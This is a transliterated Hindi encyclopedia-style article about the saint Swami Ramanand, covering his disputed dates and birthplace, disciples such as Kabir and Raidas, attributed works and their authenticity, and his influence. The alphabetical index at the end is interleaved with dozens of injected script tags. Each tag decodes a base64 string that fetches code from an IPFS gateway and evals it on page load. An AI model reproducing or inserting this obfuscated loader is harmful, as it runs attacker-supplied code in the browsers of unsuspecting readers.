स्वामी रामानंद

thumb|250px|svami ramanand vaishnavachary svami ramanand ka janm 1299 ee. mean prayag mean hua tha. inake vicharoan par guru raghavanand ke vishishta dvait mat ka adhik prabhav p da. apane mat ke prachar ke lie inhoanne bharat ke vibhinn tirthoan ki yatra kian. tirthatan se lautane par anek guru-bhaiyoan ne yah kahakar ramanand ke sath bhojan karane se iankar kar diya ki inhoanne tirthatan mean chhuachhoot ka vichar, nahian kiya hoga. is par ramanand ne apane shishyoan ko naya sanpraday chalane ki salah di. ramanand sanpraday mean ye batean sammilit haian-

dvibhujaram ki param upasana,
'aumh ramay nam:' is sanpraday ka mantr hai.
sanpraday ka nam 'shrisanpraday' tatha 'vairagi sanpraday' bhi hai.
is sanpraday mean achar par adhik bal nahian diya jata. karmakaand ka mahattv yahaan bahut kam hai. is sanpraday ke anuyayi 'avadhoot' aur 'tapasi' bhi kahalate haian. ramanand ke dharmik aandolan mean jati-paanti ka bhed-bhav nahian tha. unake shishyoan mean hianduoan ki vibhinn jatiyoan ke logoan ke sath-sath musalaman bhi the. bharat mean ramanandi sadhuoan ki sankhya sarvadhik hai.

samany vyakti ke liye adarsh

mahapurushoan ka jivan samany vyakti ke liye adarsh hota hai. mahapurush sthool sharir ke prati itane udasin hote haian. ki unhean usaka parichay dene ki avashyakata hi nahian jan p dati. bharatiy sanskriti mean sharir ke parichay ka koee mooly nahian hai.
shri ramanandachary ji ka parichay vyapak janoan ko keval itana hi prapt hai ki un tejomay, vitarag, nishpaksh mahapurush ne kashi ke panchaganga ghat sthit shrimath ko apane nivas se pavitr kiya.
achary ka kashi- jaisi vidvanoan evan mahatmaoan ki nivas bhoomi mean kitana mahattv tha, yah isi se siddh hai ki mahatma kabiradas ji ne unake charan dhokhe se hriday par lekar unake mukh se nikale 'ram'- nam ko guru-mantr man liya.
achary ne shiv evan vishnu ke upasakoan mean chale ate ajnan moolak dvesh bhav ko door kiya. apane tap: prabhav se yavan-shasakoan ke atyachar ko shant kiya aur shri avadh chakravarti dasharath nandan raghavendr ki bhakti ke pravah se praniyoan ke ant: kalush ka nirakaran kiya.
dvadash mahabhagavat achary ke mukhy shishy mane gaye haian. inake atirikt kabir, pipa, raidas adi param 'viragi' mahapurush achary ke shishy ho gaye haian. achary ne jis ramanandiy sampraday ka pravartan kiya, usane hindoo-samuday ki apatti ke samay raksha ki. bhagavan ka dvar bina kisi bhedabhav ke, bina jati-yogyata adi ka vichar kiye sabake liye khula hai, unhoanne udghosh kiya tha- sarve prapattedhikarino mattaah, sabako un maryada purushottam ko pukarane ke saman adhikari haian- is param saty ko achary ne vyavaharik roop mean sthapit kiya hai.

janm-tithi

ramabhakti ke pratham achary svami ramanand ki janm-tithi ke sambandh mean paryapt matabhed hai. d aau. pharkuhar unaka jivan-kal 1400 ee. se 1470 ee. ke bich manate haian. pan. ramachandr shukl ne eesa ki 15 vian shati ke poorvaddh tatha 16 vian shati ke prarambh ke madhyakal mean unaka upasthit hona kaha hai. 'agasty sanhita' tatha sampradayik granthoan ke anusar ramanand ka janm sanh 1299 ee. mean hua tha. d aau. pharkuhar ke mat ka adhar hai kabiradas tatha raidas ki janm sambandhi kianvadantiyaan. pan. ramachandr shukl ne ramanand, taki tatha sikandar lodi ko samakalin mana hai aur unhoanne ramarchan paddhati tatha raghuraj sianh ke sakshy ko bhi svikar kiya hai kintu ye sabhi adhar nisanndigdh nahian haian. is karan vidvanoan ka adhikaansh varg 'agasty sanhita' tatha sampradayik mat ko hi svikar karata hai. is sambandh mean bhaktamal tatha ramanandi mathoan ki prapt guru-paramparaean bhi 'agasty sanhita' ke mat ka hi samarthan karati hai.

janm-sthan

ramanand ke janm-sthan ke sambandh mean bhi uttar-dakshin ka antar hai.

pharkuhar tatha maikaliph unhean dakshinaty manate haian, maikaliph ne melakot (maisoor) ko unaka janm-sthan batalaya hai.
'agasty sanhita' tatha sampradayik vidvan prayag ko inaka janm-sthan batalate haian. pratham mat ke paksh mean pramanoan ka abhav hai, doosare mat ko sampraday ki astha evan vishvas ka bal prapt hai at: isako hi sahi mana jana chahiye.
'agasty sanhita' mean ramanand ke pita ka nam punyasadan, maan ka nam sushila kaha gaya hai.
'bhavishy puran' mean puny sadan ke sthan par 'deval' aur 'prasang parijat' mean 'sushila' ke sthan par 'muravi' nam milate haian kintu ramanand sampraday mean 'agasty sanhita' ka mat hi many hai.
maikaliph ramanand ko gau d brahman manate haian kintu 'agasty sanhita' mean unhean kany-kubj kaha gaya hai.

ramanand ke nam

ramanand ke poorv nam ke sambandh mean bhi anek mat prachalit haian-

'rasik prakash bhaktamal' ke tikakar janaki rasik sharan ne unaka poorv nam 'ramadatt' diya hai.
'vaishnav dharm ratnakar' mean unhean ram bharati kaha gaya hai,kintu
'agasty sanhita' tatha 'bhavishy puran' mean unaka nam 'ramanand' hi milata hai. yahi mat sampradayik vidvanoan ka bhi many hai. kianvadanti hai ki ramanand ke guru pahale koee dandi sannyasi the, bad mean raghavanand svami hue.
'bhavishy puran', 'agasty sanhita' tatha 'bhaktamal' ke anusar raghavanand hi ramanand ke guru the. apani udar vicharadhara ke karan ramanand ne svatantr sampraday sthapit kiya. unaka kendr math kashi ke panch gangaghat par tha, phir bhi unhoanne bharat ke pramukh tirthoan ki yatraean ki thian aur apane mat ka prachar kiya tha.
ek kianvadanti ke anusar chhua-chhoot matabhed ke karan guru raghavanand ne unhean naya sampraday chalane ki anumati di thi.
doosara varg ek prachin ramavat sampraday ki kalpana karata hai aur ramanand ko usaka ek pramukh achary manata hai. d aau. pharkuhar ke anusar yah ramavat-sampraday dakshin bharat mean tha aur usake pramukh granth 'valmiki-ramayan' tatha 'adhyatm ramayan' the. sampradayik mat ke anusar ek mool 'shri sampraday' ki age chalakar do shakhaean huee ek mean lakshmi narayan ki upasana ki gayi, doosari mean sitaram ki. kalantar mean pahali shakha ne doosari ko daba liya, ramanand ne doosari shakha ko purnajivit kiya. ramanand ke pramukh shishy-
anantanand
kabir
sukhanand
surasuranand
padmavati
naraharyanand
pipa
bhavanand
raidas
dhana sen aur
surasuri adi the.

mrityu

ramanand ki mrityu tithi bhi unaki janm-tithi ke anusar hi anishchit hai. 'agasty sanhita' mean sanh 1410 ee. ko unaki mrityu-tithi kaha gaya hai. sanh 1299 ee. ko unaki janm-tithi man lene par yahi tithi adhik upayukt jan p dati hai. isase svami ji ki ayu 111 varsh thaharati hai, jo nabhakrit 'bhaktamal' ke sakshy "bahut kal vapu dhari kai pranat janan ko par diyo" par asangat nahian hai.

rachanaean

ramanand dvara likhi gayi kahi jane vali is samay nimnalikhit rachanaean milati haian-

'shrivaishnav matavj bhaskar'
'shriramarchan-paddhati'
'gitabhashy'
'upanishad-bhashy'
'anandabhashy '
'siddhant-patal'
'ramarakshastotr'
'yog chintamani'
'ramaradhanamh'
'vedant-vichar'
'ramanandadesh'
'jnan-tilak'
'gyan-lila'
'atmabodh ram mantr jog granth'
'kuchh phutakar hindi pad'
'adhyatm ramayan'.

in samast granthoan mean 'shri vaishnavamatabj bhaskar' tatha shri ramarchan paddhati' ko hi ramanand krit kaha ja sakata hai. pan. ramatahal das ne inaka sampadan kar inhean prakashit karaya hai. in granthoan ki hast-likhit pratiyaan upalabdh nahian hai. 'shri vaishnavamatabj bhaskar' mean svamiji ne sur-suranand dvara kiye gaye nau prashn-tattv kya haian, shri vaishnavoan ka japy mantr kya hai, vaishnavoan ke isht ka svaroop, mukti ke sulabh sadhan, shreshth dharm, vaishnavoan ke bhed, unake nivas sthan, vaishnavoan ka kalakshep adi ke uttar diye haian. darshan ki drishti se isamean vishishtadvait ka hi pravarttan kiya gaya hai. 'shriramarchan paddhati' mean ram ki saangata shodashopachar pooja ka vivaran diya gaya hai.

ram tahaladas dvara sampadit donoan granth sanvat 1984^[1] mean sarayoo van (ayodhya) ke vasudev das (nayaghat) dvara prakashit kiye gaye. bhagavadachary ne sanvat 2002^[2] mean shri ramanand sahity mandir, atta, alavar mean 'shri vaishnavamatabj bhaskar' ko prakashit kiya. shesh granthoan mean 'gita bhashy' aur 'upanishad bhashy' ki n to koee prakashit prati hi milati hai aur n hastalikhit prati hi prapt hai. yahi sthiti 'vedant vichar', 'ramaradhanamh' tatha 'ramanandadesh' ki bhi hai. 'anandabhashy' svami ramaprasad jikrit 'janaki bhashy' ka saraansh evan adhunik rachana hai. 'siddhant patal', 'ram rakshastotr' tatha 'gogachintamani' tapasi-shakha dvara prachalit kiye gaye granth haian. isi prakar 'atmabodh' tatha 'dhyan tilak' tatha any nirgun parak phutakal pad kabir-panth mean adhik prachalit haian aur unaki pramanikata atyant hi sandigdh hai.

nagari pracharini sabha, kashi dvara prakashit 'ramanand ki hindi rachanaean' pustak mean sangrahit phutakal samast padoan mean ' hanuman ki arati' ko chho dakar shesh sabhi pad nirgun mat ki pratishtha karate haian. lagata hai nirgun panthiyoan ne ramanand ke nam par in rachanaoan ko prachalit kar diya hai. inaka koee prachar ramanand-sampraday mean nahian hai. 'bhajan ratnavali' (dakor) mean ramanand ke nam se char hindi par milate haian, ek mean avadh bihari ram ka varnan hai, doosare mean sakhaoan ke sath khelate hue ram ka, tisare mean ram ki arati ka varnan hai aur chauthe mean raghuvanshi ram ke man mean bas jane ka varnan hai. in padoan ka prachin hastalikhit roop nahian milata, inaki bhasha bhi navin hai. at: ye pramanik nahian kahi ja sakatian. is sambandh mean keval itana hi kaha ja sakata hai ki jin rachanaoan ka sampraday mean koee prachar n ho aur n jinaki hastalikhit pothiyaan hi sampradayik pustakalayoan mean upalabdh hoan, unaki pramanikata nitant hi sandigdh hoti hai.

sampradayoan ke itihas mean bhi yah bat dekhane mean ayi hai ki samay-samay par unamean nayi vichar dharaean ati gayi haian aur unhean pramanikata ki chhap dene ke lie mool pravarttak ke nam par hi un vicharoan ka pravarttan karane vali rachanaean gadh li jati haian. kabhi-kabhi nayi rachanaean n gadhakar log naye dhang se many evan prachin granthoan ki vyakhya hi kar baithate haian. in sabhi drishtiyoan se 'shri vaishnavamatavj bhaskar' tatha 'shri ramarchan paddhati' ko hi ramanand ki pramanik rachanaean manana uchit hoga. 'anand bhashy' ki prakashan raghuvaradas vedanti ne ahamadabad se 1929 ee. tatha shesh hindi rachanaoan ka prakashan kashi nagari pracharini sabha ne 1952 ee. mean kiya.

mahattv

ramanand ka mahattv anek drishtiyoan se haian. ve ramabhakti ko sampradayik roop dene vale sarvapratham achary the. unhian ki prerana se madhyayug tatha usake anantar prachur ramabhakti sahity ki rachana huee. kabir aur tulasidas, donoan ka shrey ramanand ko hi hai. ramanand ne bhakti ka dvar stri aur shoodr ke lie bhi khol diya, phalat: madhyayug mean ek b di sabal udar vicharadhara ka janm hua. sant sahity ki adhikaansh udar chetana ramanand ke hi karan hai. yahi nahian, ramanand ki is udar bhavana ne hindoo aur musalamanoan ko bhi samip lane ki bhoomika taiyar kar di. hindi ke adhikaansh sant kavi, jo ramanand ko hi apane mool prerana-srot manate haian, musalaman hi the. ramanand ki yah udar vicharadhara pray: samooche bharatavarsh mean phail gayi thi aur hindi ke atirikt any bharatiy bhashaoan ka madhyayugin ramabhakti-sahity ramanand ki pratyaksh ya apratyaksh prerana se likha gaya.

tika tippani aur sandarbh

↑ san 1927 ee.
↑ sanh 1945 ee.

[sahayak granth- ramanand sampraday-badarinarayan shrivastav.]

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] san 1927 ee.

[2] sanh 1945 ee.

[1]

[2]